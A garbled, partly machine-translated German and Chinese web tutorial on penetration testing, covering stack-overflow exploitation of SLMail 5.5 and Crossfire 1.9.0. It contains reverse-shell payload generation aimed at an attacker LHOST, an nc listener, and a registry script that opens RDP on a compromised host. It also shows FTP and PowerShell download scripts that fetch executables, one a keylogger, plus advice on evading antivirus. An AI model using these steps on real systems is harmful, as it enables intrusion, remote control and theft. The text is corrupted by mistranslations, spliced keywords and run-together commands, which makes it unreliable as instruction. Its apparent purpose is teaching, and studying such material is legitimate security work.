Heim > Artikel > System-Tutorial > Tutorial zum Linux-Penetrationstest: Bringen Sie Ihnen Schritt für Schritt bei, von den ersten Schritten bis zum Aufgeben des Stapelüberlaufs
Den Inhalt der Notizen entnehmen Sie bitte dem KaliLinux-Penetrationstest-Tutorial von Herrn Yuan Fanghong vom Security Niu Classroom.
Der Kern aller Schwachstellen liegt in der Eingabe von Daten. Das Prinzip des Pufferüberlaufs besteht darin, dass die Grenze zwischen Daten und Code verschwimmt Variable, die fehlerhafte Daten übergibt oder das Programm ausnutzt, wodurch die Daten in angrenzenden Videospeicherbereichen überschrieben werden, wodurch die Videospeicherdaten erfolgreich geändert werden, was zur Prozessentführung, zur Ausführung von Schadcode und zur Übernahme der Serverkontrolle führen kann.
Um das Prinzip des Pufferüberlaufs besser zu verstehen, lesen Sie bitte den vom Autor nachgedruckten Artikel:
Lernen Sie Schritt für Schritt den Stapelüberlauf vom Einstieg bis zum Aufgeben (Teil 1)
Lernen Sie Schritt für Schritt, wie Sie den Stapelüberlauf vom Anfang bis zum Aufgeben nutzen (Teil 2)
Artikelverzeichnis
1. Möglichkeiten zur Erkennung von Schwachstellen (1) Quellcode-Prüfung
Softwareentwickler nutzen möglicherweise Social Engineering und andere Methoden, um den Quellcode zur Überprüfung und Fehlerbehebung zu erhalten. Die Bedingungen sind streng und der Quellcode ist in der Regel nicht verfügbar.
(2) Reverse Engineering
Die Verwendung von Reverse Engineering, um den Assembly-Quellcode für die Analyse zu erhalten, ist arbeitsintensiv und schwierig.
(3) Fuzzing
Es ist eine Möglichkeit, Software-Schwachstellen zu entdecken, indem unerwartete Eingaben an das Zielsystem übermittelt und abnormale Ergebnisse überwacht werden. Dies erfolgt im Allgemeinen mithilfe einer gültigen Eingabe und dem Hinzufügen zufälliger Abweichungen, was den Einsatz von Software-Debugging-Tools erfordert (z. B. ImmunityDebugger). .
2. Fuzz-Testprozess
Zunächst müssen Sie einige Sicherheitsschutztechnologien gegen Pufferüberlauf verstehen, da dieser Schutzmechanismus während des Fuzz-Testprozesses vermieden werden muss.
(1) Windows
Die Testsoftware ist „SLMail5.5.0MailServer“ und ihr PASS-Befehl weist eine Pufferüberlauf-Schwachstelle auf. Grundidee: (ImmunityDebugger als Debugging-Tool verwenden)
1. Verwenden Sie ein Python-Skript, um zu testen, ob der PASS-Befehl überläuft, wenn er eine große Datenmenge empfängt. Wenn es nach 3000 Zeichen keinen Überlauf gibt, bedeutet dies normalerweise, dass keine Überlaufschwachstelle vorliegt.
2. Bestimmen Sie nach dem Erkennen der Überlaufschwachstelle die der EIP entsprechende Adresse. Die grundlegenden Methoden sind: Binärmethode und eindeutige Zeichenfolgenmethode. Die eindeutige String-Methode kann mit dem Metasploit-Skript usr/share/metasploit-framework/tools/pattern_create.rb3000 generiert werden.
3. Ändern Sie die EIP in die dem Shellcode entsprechende Videospeicheradresse, schreiben Sie den Shellcode in den Adressraum, das Programm liest den EIP-Registerwert, springt zum Shellcode-Codesegment und führt ihn aus.
4. Durch das Debugging-Tool haben wir festgestellt, dass die gesendeten Daten, nachdem sie das EIP gefüllt haben, den von ESP angegebenen Speicherplatz ausfüllen, sodass wir den Shellcode an der Stelle von ESP abgelegt haben.
5. Bestimmen Sie den Abstand von der ESP-Adresse zum unteren Rand des Stapels Linux-Pufferüberlauf, d. h. die Größe des Shellcodes, der gespeichert werden kann. Verwenden Sie ein Python-Skript, um Daten zum Testen an die Software zu senden, und debuggen Sie die Software, um zu sehen, wie viele Daten in dem Bereich gespeichert sind, auf den der ESP verweist. Eine Ansicht des Videospeicherraums eines modernen Computersystemprozesses ist in der Abbildung dargestellt:
Abbildung 1 Prozessspeicherplatzansicht
6. Aufgrund des ASLR-Mechanismus ändert sich die Adresse des Funktionsaufrufstapels bei jeder Ausführung der Software zufällig, sodass eine harte Codierung nicht möglich ist. Die Alternative besteht darin, ein Systemmodul mit einer festen Adresse im Videospeicher zu finden Der Adresssprung des JMPESP-Befehls im Modul erfolgt dann direkt zum ESP und führt dann den Shellcode aus. Suchen Sie nach „returnaddress“, dem Modul des JMPESP Anweisung. Finden Sie Systemmodule, die nicht durch DEP- und ASLR-Mechanismen geschützt sind, mit Hilfe von /usr /share/metasploit-framework/tools/nasm_shell.rb. Konvertieren Sie die Assembleranweisung jmpesp in das Zweierkomplement zu FFE4, suchen Sie nach FFE4 Anweisung im Modul!monafind-s "xffxe4"-mslmfc.dll, nachdem Sie die Adresse der Anweisung gefunden haben, konvertieren Sie die Adresse der EIPlinux-Version qq, erstellen Sie Shellcode und entfernen Sie fehlerhafte Zeichen: /msfpayloadwin32_reverseLHOST=192.168.20.8LPORT =443R|./msfencode-b“x00x0ax0d
Hinweis: Die beim Erstellen des Shellcodes ausgewählte Nutzlast ist eine umgekehrte Verbindung anstelle einer direkten Verbindung. Dadurch kann die Blockierungsstrategie der Firewall vermieden werden.
7. Aktivieren Sie abschließend den Port-Tapping nc-vlp443 und beenden Sie den gesamten Prozess mit der ExitProcess-Methode. Durch Anwenden der ExitThread-Methode kann dies zum Absturz des SMS-Dienstes führen dass der gesamte Dienst abstürzt und es zu wiederholten Überläufen kommt: /msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b"x00x0ax0d"
Hinweis: Verschiedene Arten von Programmen, Protokollen und Schwachstellen betrachten einzelne Zeichen als fehlerhafte Zeichen. Diese Zeichen haben feste Verwendungszwecke, sodass fehlerhafte Zeichen nicht in der Absenderadresse, im Shellcode oder im Puffer erscheinen können. Senden Sie 0x00-0xff256 Zeichen, um alle fehlerhaften Zeichen zu finden. Ungültige Zeichen können mithilfe des Metasploit-Skripts ./msfencode codiert werden.
8. Wenn Sie das Angriffsziel weiter kontrollieren möchten, können Sie den Remote-Desktop durch Ändern der Registrierung öffnen. Mehr als 90 % der Konfigurationen in Windows können durch Ändern der Registrierung abgeschlossen werden:
<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg
(2)Linux
Die Testsoftware ist „Crossfire“ und 1.9.0 weist eine Pufferüberlauf-Schwachstelle beim Akzeptieren eingehender Socket-Verbindungen auf. Die Grundidee ist die gleiche wie bei Windows Fuzzing (edb wird als Debugging-Tool verwendet), daher werde ich nicht auf Details eingehen. Sie müssen auf die folgenden Punkte achten:
1. Debugging-Befehl: edb--run/usr/games/crossfire/bin/crossfire
2. Bei der Überprüfung des Pufferüberlaufs haben wir festgestellt, dass der Wert von EIP nur dann genau abgedeckt werden kann, wenn die Nutzlast auf 4368 Bytes festgelegt ist. Auf diese Weise verfügt der von ESP angezeigte Speicherplatz nur über 7 Bytes, was nicht ausreicht Geben Sie den Shellcode ein. Daher kann die Suche in der EDB das vollständig von den Daten abgedeckte Register sein. Um dieses Problem zu umgehen, springt ESP zu EAX, um Shellcode auszuführen.
3. EXP auswählen und ändern
Es gibt Hilfecodes (EXP) für verschiedene Software-Schwachstellen, die seit langem veröffentlicht wurden. Wir können vertrauenswürdige EXP-Quellen auswählen und auf dieser Grundlage Recherchen oder Änderungen durchführen, insbesondere Shellcode kann nicht einfach verwendet werden Linux-Anti-Puffer Überlauf, es gibt Für Linux-Systemanwendungen, die Viren enthalten können, gehören zu den Programmiersprachen, die beherrscht werden müssen, im Allgemeinen Python, C, C++, Ruby usw. Mehrere zuverlässige EXP-Quellen:
Nachdem Sie EXP erhalten haben, müssen Sie auf folgende Punkte achten:
4. Phase nach der Sicherheitslücke
Einschließlich weiterer Vorgänge wie Hochladen von Tools, Erhöhen von Berechtigungen, Löschen von Angriffsspuren und Installieren von Seitentüren. Hier wird nur der Datei-Upload-Vorgang besprochen die Shell des erhaltenen Zielbetriebssystems. Führen Sie Datei-Upload-Vorgänge durch.
(一)Windows
首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:
1.Linux端:配置ftp服务
登陆FTP有三种形式:
<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span> vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span> <span class="token comment">#添加配置</span> local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span> <span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span> <span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span> chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span> chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span> chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list <span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span> userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span> userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span> <span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span> <span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span> <span class="token function">mkdir</span> /home/ftpduser <span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1 <span class="token function">service</span> vsftpd start
2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置
(1)使用ftp传输文件
由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。
<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt
(2)使用powershell传输文件
<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span> <span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient <span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span> <span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span> <span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span> powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1
(二)Linux
借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。
注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。
Das obige ist der detaillierte Inhalt vonTutorial zum Linux-Penetrationstest: Bringen Sie Ihnen Schritt für Schritt bei, von den ersten Schritten bis zum Aufgeben des Stapelüberlaufs. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!